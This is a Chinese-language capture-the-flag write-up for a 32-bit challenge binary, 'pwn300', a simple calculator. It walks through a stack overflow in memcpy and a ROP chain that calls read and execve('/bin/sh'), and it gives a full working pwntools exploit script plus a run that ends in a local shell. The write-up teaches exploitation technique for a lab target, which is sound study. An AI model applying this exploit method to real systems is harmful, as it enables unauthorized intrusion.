这个题目还是很简单的,并没有过多限制,程序流也很清晰。
目录
程序介绍
安全防护
ex@Ex:~/test$ checksec pwn300
[*] '/home/ex/test/pwn300'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
主函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
int operate; // [esp+18h] [ebp-38h]
int stack[10]; // [esp+1Ch] [ebp-34h]
int times; // [esp+44h] [ebp-Ch]
int *array; // [esp+48h] [ebp-8h]
int i; // [esp+4Ch] [ebp-4h]
times = 0;
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
Welcome();
printf("How many times do you want to calculate:");
scanf("%d", ×);
if ( times <= 3 || times > 255 )
{
puts("wrong input!");
exit(-1);
}
array = (int *)malloc(4 * times);
i = 0;
while ( i < times )
{
PrintMenu();
scanf("%d", &operate);
switch ( operate )
{
case 1:
Add();
array[i] = ResultAdd;
goto LABEL_11;
case 2:
Sub();
array[i] = ResultSub;
goto LABEL_11;
case 3:
Mul();
array[i] = ResultMul;
goto LABEL_11;
case 4:
Div();
array[i] = ResultDiv;
goto LABEL_11;
case 5:
memcpy(stack, array, 4 * times);
free(array);
return 0;
default:
puts("wrong input!");
LABEL_11:
++i;
break;
}
}
return 0;
}
就是一个简单的计算程序。
分析
在memcpy(stack, array, 4 * times)
出,存在栈溢出漏洞。
栈布局
-00000034 stack db 40 dup(?)
-0000000C times dd ?
-00000008 array dd ? ; offset
-00000004 i dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
思路
- 栈溢出,控制程序流
- 构造ROP链
控制程序流
对应的函数
def Add(uint32):
uint32 = uint32.ljust(4, '\0') # 对齐
sh.sendline('1')
sh.sendline(str(u32(uint32)))
sh.sendline(str(0))
sh.recvuntil('5 Save the result\n')
这里我们只需要写一个函数就行了,这里我就只写了一个对应的Add
函数。
对应的栈溢出布局
# 填充
for _ in range(10):
Add('aaaa')
Add('bbbb') # times
Add(p32(0)) # array, 要绕过free函数,所以置 NULL
Add('iiii') # i
Add('cccc')
Add('cccc')
Add('dddd') # ebp
这里要特别注意array
是要当作free函数的参数进行调用,如果这个值有问题程序会直接crash,所以我们要把它设置为NULL。
shellcode
下面是我们要构造的shellcode。
// /bin/sh
push 0x0068732f
push 0x6e69622f
mov ebx,esp
mov eax,0x0b
mov ecx,0
mov edx,0
int 0x80
ROP链
用ROPgadget
生成对应的可用指令,然后构造出一条ROP链
出来,让其能完成上面shellcode的功能即可。
'''
0x80e9000 0x80eb000 rw-p 2000 a0000 /home/ex/test/pwn300
'''
sh_addr = 0x80eb000-0x100
rop = [
p32(elf.symbols['read']),
# 0x080a56e2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
p32(0x080a56e2),
p32(0),
p32(sh_addr),
p32(100),
'$edi',
# 0x0806ed31 : pop ecx ; pop ebx ; ret
p32(0x0806ed31),
p32(0), # ecx
p32(sh_addr), # ebx
# 0x080bb406 : pop eax ; ret
p32(0x080bb406),
p32(0xb) ,
# 0x0806ed0a : pop edx ; ret
p32(0x0806ed0a),
p32(0), # edx
# 0x08049781 : int 0x80
p32(0x08049781)
]
# 注入rop链
for v in rop:
Add(v)
# pause()
# 退出
sh.sendline('5')
# 注入字符串
sh.sendline('/bin/sh\x00')
sh.interactive()
由于这里在栈上面操作字符串比较麻烦,所以我直接从输入流里面读取字符串。
完整脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
sh = process('./pwn300')
elf = ELF('./pwn300')
# context.log_level = "debug"
# 创建pid文件,用于gdb调试
try:
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
except Exception as e:
print(e)
def Add(uint32):
uint32 = uint32.ljust(4, '\0') # 对齐
sh.sendline('1')
sh.sendline(str(u32(uint32)))
sh.sendline(str(0))
sh.recvuntil('5 Save the result\n')
sh.recvuntil('How many times do you want to calculate:')
sh.sendline(str(255))
# 清除流
sh.recvuntil('5 Save the result\n')
# 填充
for _ in range(10):
Add('aaaa')
Add('bbbb') # times
Add(p32(0)) # array, 要绕过free函数,所以置 NULL
Add('iiii') # i
Add('cccc')
Add('cccc')
Add('dddd') # ebp
'''
// /bin/sh
push 0x0068732f
push 0x6e69622f
mov ebx,esp
mov eax,0x0b
mov ecx,0
mov edx,0
int 0x80
'''
'''
0x80e9000 0x80eb000 rw-p 2000 a0000 /home/ex/test/pwn300
'''
sh_addr = 0x80eb000-0x100
rop = [
p32(elf.symbols['read']),
# 0x080a56e2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
p32(0x080a56e2),
p32(0),
p32(sh_addr),
p32(100),
'$edi',
# 0x0806ed31 : pop ecx ; pop ebx ; ret
p32(0x0806ed31),
p32(0), # ecx
p32(sh_addr), # ebx
# 0x080bb406 : pop eax ; ret
p32(0x080bb406),
p32(0xb) ,
# 0x0806ed0a : pop edx ; ret
p32(0x0806ed0a),
p32(0), # edx
# 0x08049781 : int 0x80
p32(0x08049781)
]
# 注入rop链
for v in rop:
Add(v)
# pause()
# 退出
sh.sendline('5')
# 注入字符串
sh.sendline('/bin/sh\x00')
sh.interactive()
# 删除pid文件
os.system("rm -f pid")
运行实例
ex@Ex:~/test$ ./exp.py
[+] Starting local process './pwn300': pid 17427
[*] '/home/ex/test/pwn300'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$
总结
构造ROP链也是pwn的必备技能之一,这里我用read
函数偷懒了,可能大部分实际情况是不能使用read函数。